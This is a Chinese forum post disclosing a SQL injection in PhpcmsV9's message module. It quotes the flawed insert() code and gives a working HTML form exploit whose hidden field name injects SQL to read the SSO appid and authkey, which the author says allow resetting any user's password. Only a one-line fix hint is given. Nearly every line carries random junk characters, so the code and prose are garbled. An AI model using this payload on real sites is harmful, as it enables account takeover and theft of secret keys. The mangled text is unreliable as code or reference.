找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2220|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:+ d, x, j2 H- F; `
+ t' c. b6 _0 h3 M! C/ O
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。; k! {: f( ~) `# O5 q: m9 Y, _' `

$ h5 y  V/ P+ @4 f3 a4 ?明天再更新下一个漏洞。. |5 f3 R+ t3 S8 n. M5 U% P: A
详细说明:
7 h, \. u( g* ^在/phpcms9/phpcms/modules/message/index.php中有代码如下:- y+ m6 L% j. J

) K6 C; @2 C, m3 v6 n1 f$messageid = $this->message_db->insert($_POST['info'],true);5 I2 s  x3 ~9 D4 g5 @* @; n

# r6 o' a' D- I5 g6 ~) {9 P1 q! j* X8 ?9 [# U
insert方法是key value的,代码如下:
  g$ e% e5 h9 Z9 j" ^0 c$ u5 N# x2 z( @9 z) T3 Q/ y
public function insert($data, $table, $return_insert_id = false, $replace = false) {: N6 u$ L: e4 q% {6 S% I7 s
                if(!is_array( $data ) || $table == '' || count($data) == 0) {) b* O6 x! k, c# C5 t2 Z* r2 ~
                        return false;
3 f0 p. t* Y0 V+ G4 B- l0 I                }
* g! E' T* [% h: [                0 D1 Y9 R9 m! e& S& f2 t
                $fielddata = array_keys($data);8 ^0 U+ z+ p6 S+ l1 n% A
                $valuedata = array_values($data);+ X& z2 E* k. P& ]. f, v; f4 [1 g
                array_walk($fielddata, array($this, 'add_special_char'));
8 m- I$ W- P+ ^" s                array_walk($valuedata, array($this, 'escape_string'));
1 Y4 K( m# E; P" `  q% ^               
# A  c  e: D' o- H5 P# s: h: B                $field = implode (',', $fielddata);
8 l1 u" F# U& N" {  O  k/ p& ?                $value = implode (',', $valuedata);0 d; @8 z0 _! @2 Q' N3 p# H

! N7 B/ K% D/ k/ }& G, ]                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
# K+ W9 ]& z3 U0 G! X3 J                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
, V1 e1 c* I+ B& E                $return = $this->execute($sql);) z9 ^" G* ^1 `% W# C
                return $return_insert_id ? $this->insert_id() : $return;. h5 ]3 j$ A) S2 h! o6 u0 [
        }
0 T" F* ?# l. S0 d6 z' x$ N
: l- m, j$ q6 |5 J+ e: R
; p) a+ X/ [7 H8 ~( a* J嗯,很遗憾的是
2 l2 r8 z3 n% b" R! f& Z- o9 C- {  X" U2 f
array_walk($fielddata, array($this, 'add_special_char'));
4 J8 Y$ g! E* k, [9 b- g
' h$ j* R: _( \6 k1 v- A! j( M. d8 X: w3 y2 \7 c
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
& A0 Q+ D, T9 w8 }* v) T& ]7 j/ A
5 h9 {# O% C6 b8 H1 A到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。4 \) c+ P3 V& a" @

2 @( U+ d) A* w- ^' D9 m. y8 J漏洞证明:
* k( ]$ [3 g' C0 Y2 M读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。6 h8 r2 F. P8 ]2 e8 R, K
2 T$ Z  ~: i& a, z" B
4 t5 O0 m6 h5 n: P) x
表单如下:用户名什么的得自己改一改。4 B5 {, o: n) O. C9 y) o% R" g
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
! [2 g8 w" B* u5 w; A5 P; e<table width="100%" cellspacing="0" class="table_form">0 \- D3 U: b) @; h$ Q9 o9 U! p
<tr># g. }0 B( a# J) F8 p+ h
<th>标 题:</th>. Z& b6 n- \8 x4 _: o" {
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>% |; D$ ]4 q& j
</tr>
" b: e/ P" ?4 h<tr>- M2 o* @( }6 F( s
<th>内 容:</th>
! J+ \+ y5 h' D6 {0 b- f3 f% A<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
+ |+ T9 t& f; a- x, g( }- A</tr>0 {3 ?  |/ R5 i7 z4 g( b7 n. d! [# ~
<input type="hidden" name="info[replyid]" value="2" />
1 G0 e5 l* X7 P6 f0 r1 l2 t<input type="hidden" name="info[send_to_id]" value="cc" />
8 j. z( i/ H# b& c8 t7 b9 i- }<input type="hidden" name="info[send_from_id]" value="hh">
2 n1 X+ ]1 I1 ^8 x9 w. {- t<!-- 漏洞的利用重点在这里开始 -->. I. n+ y' `; g
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> # h2 T# @; j- C5 n- V
<!-- 漏洞的利用重点在这里结束 -->3 ]1 Z& |/ l# ^; C: `8 r. _% p
<tr>
$ P! q  i- k; [<th>验证码:</th>( |/ _6 S8 w) N
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
- x* C8 |8 C/ _/ \, B) i</tr>, x7 c. \) k- G" n
<tr>
+ d2 ~0 J3 ]: e+ Q; R<td></td>
7 o, f0 m6 v/ A: W6 _<td colspan="2"><label>
: q+ s8 w6 l) R, r( s<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 c' i8 L! u3 X8 b) ]</label></td>2 c9 h; D4 P4 s
</tr>6 R, e$ p$ Q) z6 c( Q% l6 o
</table>4 ^% y* s; L7 Y% @* N5 M  N, B7 S
</form>
# t1 T8 Q  B9 j! h% F# {( d' ~在add_special_char函数内对key做过滤就可以了。
2 f, i3 A: Y' ~1 y
5 M% f- w% w1 X% v: F) R  v  F* M0 F7 ?$ V9 }! K% X. {
6 {( f! N+ v, u5 u, q3 a4 `

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表